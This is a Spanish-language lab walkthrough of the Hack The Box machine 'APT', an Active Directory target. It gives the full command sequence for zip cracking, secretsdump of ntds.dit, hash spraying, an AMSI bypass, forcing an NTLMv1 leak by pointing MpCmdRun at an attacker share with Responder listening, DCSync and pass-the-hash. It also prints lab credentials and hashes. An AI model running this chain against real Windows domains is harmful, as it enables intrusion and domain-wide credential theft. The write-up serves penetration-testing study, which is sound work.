---
# System prepended metadata

title: APT

---

# APT

## Reconocimiento

### nmap


~~~
nmap -p- -sS --min-rate 5000 -vvv -n -Pn  10.10.10.213 -oG allPorts
~~~


![](https://i.imgur.com/x3ZcsTv.png)


~~~
nmap -sCV -p80,135 10.10.10.213 -oN targeted
~~~


![](https://i.imgur.com/J5YaoF6.png)


### Web - Puerto 80

~~~
whatweb 10.10.10.213
~~~


![](https://i.imgur.com/IGxoEQ5.png)


El nombre de la web es **Gigantic Hosting**




### RPC - Puerto 135


![](https://i.imgur.com/owzQ5Hn.png)


* TCP 135 es el administrador de control de servicios del asignador de puntos finales y el modelo de objetos componentes (COM). Hay una herramienta llamada `rpcmap.py` de Impacket que mostrará estas asignaciones y el script `IOXIDResolver.py` que reporta la IPv6.

~~~
python3 IOXIDResolver.py -t 10.10.10.21
~~~


![](https://i.imgur.com/gZaYDy1.png)


```
Address: dead:beef::10e
Address: dead:beef::b885:d62a:d679:573f
Address: dead:beef::5cc4:5823:d6a0:8443
```

Obs:
* rpcclient intenta conectarse a TCP 445 o TCP 139, por lo que no hace mucho aquí.


~~~
ping6 dead:beef::b885:d62a:d679:573f
~~~


![](https://i.imgur.com/az2Q4cG.png)


## Reconocimiento - IPv6

### nmap

~~~
nmap -sS --min-rate 5000 -open -vvv -n -Pn -p- -6 dead:beef::b885:d62a:d679:573f -oG allPortsIPv6
~~~


![](https://i.imgur.com/Bz5so7s.png)



~~~
nmap -sCV -p53,80,88,135,389,445,464,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49669,49670,49675,49695,52135 -6 dead:beef::b885:d62a:d679:573f -oN targetedIPv6
~~~


![](https://i.imgur.com/hMymJ1e.png)


![](https://i.imgur.com/aLvEX2Q.png)



### smb - Puerto 445

#### Crackmapexec 

~~~
crackmapexec smb dead:beef::b885:d62a:d679:573f
~~~

![](https://i.imgur.com/j9DRoGW.png)

```
domain:htb.local
name:APT
```

Se está tratando con una máquina Windows Server 2016


Se incorpora la IPv6 en el `/etc/hosts`:

```
┌─[root@cr4y0-PC]─[/home/cr4y0/DesktopHackTheBox/APT]
└──╼ #echo "dead:beef::b885:d62a:d679:573f apt htb.local" >> /etc/hosts
```

#### Socat

En caso exista problemas con alguna herramienta con el formato IPv6 se puede hacer uso de la herramienta SOCAT y hacer un escaneo al localhost.

CrackMapExec con SOCAT:

Nos ponemos en escucha por el puerto `445` para redirigir la conexión entrante hacia `apt:445`

~~~
socat TCP-LISTEN:445,fork TCP:apt:445
~~~


![](https://i.imgur.com/YJTpd0y.png)


~~~
crackmapexec smb 127.0.0.1
~~~


![](https://i.imgur.com/uMWYIb5.png)




~~~
smbclient -L dead:beef::b885:d62a:d679:573f -N
~~~


![](https://i.imgur.com/GlBJXGO.png)


~~~
smbmap -H 127.0.0.1
~~~


![](https://i.imgur.com/PNzEFba.png)


~~~
smbmap -H 127.0.0.1 -R
~~~


![](https://i.imgur.com/Xfq3RFY.png)



### smbclient - Puerto 445

~~~
smbclient //apt/backup -N
fcrackzip -b -D -u -p /usr/share/wordlists/rockyou.txt backup.zip
~~~


![](https://i.imgur.com/lCkljF1.png)



![](https://i.imgur.com/mHlkqTm.png)


`iloveyousomuch`


![](https://i.imgur.com/NEcO9xd.png)


~~~
python3 /opt/impacket/examples/secretsdump.py -ntds Active\ Directory/ntds.dit -system registry/SYSTEM LOCAL
~~~


Se encuentra el backup `ntds.dit` y `SYSTEM`, entonces con la herramienta `secretsdump.py` se pueden dumpear los hashes del equipo:


![](https://i.imgur.com/5hsn0nq.png)


De aqui se puede ver que el `lmhash` es estático y el `nthash` es dinámico.

Mayor informacion: 
https://book.hacktricks.xyz/windows/stealing-credentials#extracting-hashes-from-ntds.dit


# ¿Podemos dumpear el ntds.dit dentro del equipo Windows?

# ¿Cómo usar Lazagne?


### Kerberos - Puerto 88


#### kerbrute

La herramienta `Kerbrute` permite realizar una enumeración de usuarios válidos en base a una lista de usuarios:

~~~
./kerbrute userenum --dc apt -d htb.local -t 40 /home/cr4y0/Desktop/HackTheBox/APT/users
~~~


![](https://i.imgur.com/fvNLULf.png)


#### crackmapexec

Una vez se identifica al usuario válido se puede intentar validar las credenciales(usuario y hash):

~~~
crackmapexec smb apt -u 'henry.vinson' -H '2de80758521541d19cabba480b260e8f'
~~~

![](https://i.imgur.com/RLdQXUY.png)


En este punto se cuenta con usuario válido y un listado de hashes. Si se quiere realizar HashSpraying necesitamos de CrackMapExec que funciona por SMB o usar alguna variante de pyKerbrute que funciona por Kerberos.

~~~
crackmapexec smb apt -u 'henry.vinson' -H ../hash
~~~


![](https://i.imgur.com/aJTHGGi.png)

Pero el servicio `smb` bloquea el hashspraying.



#### pyKerbrute


pyKerbrute ofrece la enumeración de usuarios y userspraying en baase a un hash y contraseña.

Despues de modificar uno de los archivos que nos entrega pyKerbrute con la finalidad de hacer fuerza bruta en los hashes:


~~~
python2 ADHashSpray.py
~~~


![](https://i.imgur.com/3rwi0DE.png)


`henry.vinson:e53d87d42adaa3ca32bdb34a876cbffb`


Código del script:

~~~

~~~


Validando credenciales encontradas:

~~~
crackmapexec smb dead:beef::b885:d62a:d679:573f -u 'henry.vinson' -H 'e53d87d42adaa3ca32bdb34a876cbffb'
~~~



![](https://i.imgur.com/PrGTe5n.png)


# ¿Ver si se puede hacer ASRPROAST o KERBEROASTING con las credenciales encontradas?


### Leyendo Registros - Puerto 139 y 445

#### Linux - reg.py


Herramienta de manipulación remota del registro a través de la interfaz [MS-RRP] MSRPC. La idea es proporcionar una funcionalidad similar a la de la utilidad de Windows REG.EXE.


Registry Hives:


![](https://i.imgur.com/YzzB9Ju.png)


Mayor información sobre los registros:

http://www.herongyang.com/Windows/Registry-Hives-HKCR-HKCU-HKLM-HKU-HKCC-HCPD.html


~~~
python3 /opt/impacket/examples/reg.py -hashes :e53d87d42adaa3ca32bdb34a876cbffb htb.local/henry.vinson@apt query -keyName HKCR
python3 /opt/impacket/examples/reg.py -hashes :e53d87d42adaa3ca32bdb34a876cbffb htb.local/henry.vinson@apt query -keyName HKCU
python3 /opt/impacket/examples/reg.py -hashes :e53d87d42adaa3ca32bdb34a876cbffb htb.local/henry.vinson@apt query -keyName HKU
~~~


![](https://i.imgur.com/cWEME9e.png)




![](https://i.imgur.com/M9CZqIw.png)


~~~
python3 /opt/impacket/examples/reg.py -hashes :e53d87d42adaa3ca32bdb34a876cbffb htb.local/henry.vinson@apt query -keyName HKU\\Software\\GiganticHostingManagementSystem
~~~


![](https://i.imgur.com/nJ75tb7.png)


`henry.vinson_adm:G1#Ny5@2dvht`


Obs:

También podemos usar el parametro `-s` para dumpear cada uno de los registros.


#### Windows - mimikatz

# ¿Como obtener los registros desde windows?






## Acceso

### winrm - Puerto 5985


Se obtiene acceso al sistema mediante la herramienta `evil-winrm` :

~~~
evil-winrm -i apt -u 'henry.vinson_adm' -p 'G1#Ny5@2dvht'
~~~


![](https://i.imgur.com/cwablSL.png)


Nos dirigimos al directorio `AppData\Local\Temp` en donde se suele tener capacidad de escritura:

~~~
./winPEASx64.exe
~~~


Al ejecutar el winPEASx64.exe nos muestran un mensaje en donde no podemos ejecutar el binario:


![](https://i.imgur.com/yCAudEA.png)

### Bypass - 4msi

Para ello se usará el menu de evil-winrm para realizar el bypass al amsi e intentar cargar el binario en memoria.

ByPass-4msi:


~~~
menu
Bypass-4MSI
Invoke-Binary /home/cr4y0/Desktop/HackTheBox/APT/winPEASx64.exe
~~~


![](https://i.imgur.com/Kg4UFlu.png)


En los resultados se puede ver el historial PowerShell del usuario `henry.vinson_adm`:


![](https://i.imgur.com/JTIPBc2.png)


`C:\Users\henry.vinson_adm\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt`

![](https://i.imgur.com/UPXDiMi.png)

También se ve que el sistema soporta hashes NTLMv1 


![](https://i.imgur.com/pSkFA19.png)


Otro binario a tener en cuenta es `Seatbelt.exe` para la realizar un reconocimiento del sistema:


~~~
Invoke-Binary /home/cr4y0/Desktop/HackTheBox/APT/Seatbelt.exe -group=all
~~~


![](https://i.imgur.com/cX0D447.png)


### Hash NTLMv1


NTLM es un protocolo de desafío respuesta, y en particular NTLMv1 usa una criptografía débil

Hay servicio como `crack.sh` que se puede usar para averiguar la key.


#### responder

Se usa responder para envenenar el tráfico y con el parámetro `--lm` forzar a obtener los hashes NTLMv1.

La página `crack.sh` solo contempla desafíos `1122334455667788` por esta razón se modifica la configuración del Responder para obtener este Challenge.


![](https://i.imgur.com/1FTemM8.png)


```
python3 Responder.py -I tun0 --lm
```


Ahora se debe buscar alguna forma de obtener el hash NTLMv1, para ello recordar el `Windows Defender` está activo en la máquina y tiene un ejecutable `MpCmdRun.exe` el cual tiene la opción de realizar un escaneo a un archivo o directorio en donde se puede indicar un recurso compartido y obtener el hash.


```
.\MpCmdRun.exe -Scan -ScanType 3 -File \\10.10.14.2\CualquierCosa
```


El hash se puede encontrar en `/usr/share/responder/logs`. 

## Obteniendo privileios

El hash que se obtiene es el de la cuenta de máquina, es decir, si se logra romper se puede usar la herramienta `secretsdump.py` y visualizar todos los hashes del directorio activo.


Para crackear el hash en `crack.sh` se debe pasar a un formato especial para lo cual se usará la herramienta `ntlmv1.py`:


```
python3 ntlmv1.py --ntlmv1 'APT$::HTB:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:1122334455667788'
```


![](https://i.imgur.com/nOV6WEv.png)


`NTHASH:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384`

Y se usa el Token que entrega el script en `crack.sh`:


![](https://i.imgur.com/9gtCUMg.png)


Y recibimos el hash:


![](https://i.imgur.com/x1duhrP.png)


![](https://i.imgur.com/KLWDMqi.png)


`Key: d167c3238864b12f5f82feae86a7f798`

### Dump ntds.dit

~~~
python3 /opt/impacket/examples/secretsdump.py -hashes :d167c3238864b12f5f82feae86a7f798 'htb.local/APT$@apt'
~~~


![](https://i.imgur.com/CpGrhVG.png)


`Administrator:500:aad3b435b51404eeaad3b435b51404ee:c370bddf384a691d811ff3495e8a72e2:::`


### Pass The Hash

```
evil-winrm -i apt -u Administrator -H c370bddf384a691d811ff3495e8a72e2
```


![](https://i.imgur.com/KSIwZlc.png)




# Dumpear los hashes del directorio activo internamente














